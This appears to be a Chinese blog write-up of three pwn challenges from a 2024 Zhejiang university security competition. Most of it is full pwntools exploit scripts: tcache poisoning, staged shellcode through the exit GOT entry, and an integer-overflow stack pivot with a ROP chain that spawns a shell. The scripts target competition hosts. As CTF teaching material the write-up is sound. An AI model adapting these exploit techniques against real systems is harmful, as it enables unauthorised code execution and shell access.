2024浙江省大学生网络安全竞赛

本文最后更新于:2024年12月13日 晚上

ezPwn

直接利用tcache bin0x4180地址处创建chunk,并写入构造好的数据,就可以获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *


context.arch='amd64'
def add(size,data=b'\n'):
p.sendlineafter(b'exit',b'1')
p.sendlineafter(b"size>>",str(size).encode())
p.sendafter("data>>",data)
def edit(ind,data):
p.sendlineafter(b'exit',b'2')
p.sendlineafter(b'index>>',str(ind).encode())
p.sendafter("data>>",data)

def show(ind):
p.sendlineafter(b'exit',b'3')
p.sendlineafter(b'index>>',str(ind).encode())
p.readuntil(b'data>>\n')
def free(ind):
p.sendlineafter(b'exit',b'4')
p.sendlineafter(b'index>>',str(ind).encode())
def exit():
p.sendlineafter(b'exit',b'5')
def getflag():
p.sendlineafter(b'exit',b'6')

def calc(data):
mark=0xfff000000000
data1=data&mark
result=0
result|=data1
for i in range(3):
data1=((data1>>12)^data)&(mark>>12)
result|=data1
mark=mark>>12
return result
pass
e=ELF("./pwn")

#p=process("./pwn")
p=remote('10.1.197.36',9999)
p.readuntil(b'gift:\n')
e.address=int(p.readline(),16)-0x1a44
#gdb.attach(p)
add(0x400)
add(0x400)
add(0x400)
free(0)
free(1)
free(2)
show(1)
d=u64(p.read(8))
print(hex(d))
d=calc(d)
print(hex(d))
_4180=e.address+0x4180

edit(1,p64(_4180^((d+0x410)>>12)))
add(0x400)
add(0x400)
add(0x400)
payload=p32(0xf0)*10
edit(5,payload)
p.sendline('6')
p.interactive()

printFFF

题目允许写入0x15字节的shellcode,但是不够获取shell
所以利用exitgot表第二次写shellcode,并在第一次shellcode中设置一些环境
这样第二次shellcode就可以直接调用system("sh")来获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.arch='amd64'
shellcode="""
mov edi,0x404800
mov eax,0x6873
mov [rdi],rax
pop rdi
sub rdi,0x6D
jmp rdi
"""
shellop=asm(shellcode)
print(hex(len(shellop)))
#exit()
e=ELF("./pwn")
#p=process("./pwn")
p=remote("10.1.197.38",9999)
#gdb.attach(p,'bp 0x4010E0')

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
p.interactive()
shellcode="""
mov edi,0x404800
mov rax,[0x404030]
sub rax,0xc3a60
jmp rax
"""
shellop=asm(shellcode)
print(hex(len(shellop)))

p.send(shellop)
pause()
exit_=e.got['exit']
p.send(p64(0x405000)+p64(exit_)+p64(4))
pause()
p.interactive()

reverse_stack

在程序扩展栈空间的时候存在整数溢出,让下一个函数的栈在当前函数的前面,就可以实现修改程序流
通过修改程序流让程序第二次使用mmap创建第二个栈
这两个栈是连续的,这样在第一次调用函数时写入的栈地址就在程序栈的中间,就可以获取栈中的数据,比如libc_start_main的地址
之后就可以构造rop链获取shell
这个方法不是很美观,看网上还有一种方法是打exit_hook的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
#context.log_level='debug'

def l(size):
p.sendafter('long?\n',p64(size&(0xffffffffffffffff)))

def d(data):
p.sendafter('buf\n',data)

def pill(n):
if n:
p.sendafter('pill?\n',b'red'.ljust(8,b'\x00'))
else:
p.sendafter('pill?\n',b'blue'.ljust(8,b'\x00'))


p=remote("10.1.197.37",9999)
#p=process('./pwn')
e=ELF("./pwn")
#pause()
l(0x40)
d('asdfadsf')
pill(1)
l(0x400)
d(b'\x87')
pill(0)
l(0x58)
d('asdfasdf')
p.read(0x40)
d_=u64(p.read(8))
d_=u64(p.read(8))
print(hex(d_))
e.address=d_-0x1233
d_=u64(p.read(8))
print(hex(d_))
stack=d_&(-0x1000)
pill(1)
for i in range(10):
l(0x400)
d('asdfadsf')
pill(1)

l(-0x400)
pill(1)
l(0x500)
payload=b'a'*0x3c8+p64(e.address+0x1050)+p64(stack+0x5000)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))

for i in range(0x102):
l(0x1f0)
d('asd')
pill(1)
l(-0x400)
pill(1)
l(0x500)

payload=b'a'*0x3c8+p64(e.address+0x11CE)+p64(stack-0x78)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x70)
d_=u64(p.read(8))
print(hex(d_))
real_stack=d_

pill(1)
l(-0x400)
pill(1)
l(0x1f0)
d('rotwill')

pill(1)
l(0x500)

payload=b'a'*(0x3c8-33*0x10)+p64(e.address+0x11ce)+p64(real_stack-0x4d0-8)
d(payload)
p.readuntil('pill?\n')
p.send(b'blue'.ljust(8,b'\x00'))
p.read(0x4d0)
d_=u64(p.read(8))
print(hex(d_))
pause()
pill(1)
#p.interactive()

libc=ELF("./libc.so.6")
libc.address=d_-0x29d90

gadget=libc.address+0xebc81
l(-0x400)
pill(1)
l(0x500)
system=libc.sym['system']
rdi=0x000000000002a3e5+libc.address
bin_sh=next(libc.search(b'/bin/sh\x00'))
ret=rdi+1
#gdb.attach(p,'bp $rebase(0x1228)\nc')
#pause()
payload=b'a'*(0x3c8)+p64(ret)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(stack+0x18000)
d(payload)
p.readuntil('pill?\n')
p.send(b''.ljust(8,b'\x00'))

p.interactive()

2024浙江省大学生网络安全竞赛
https://rot-will.github.io/page/wp/2024浙江省大学生网络安全竞赛/
作者
rot_will
发布于
2024年11月30日
更新于
2024年12月13日
许可协议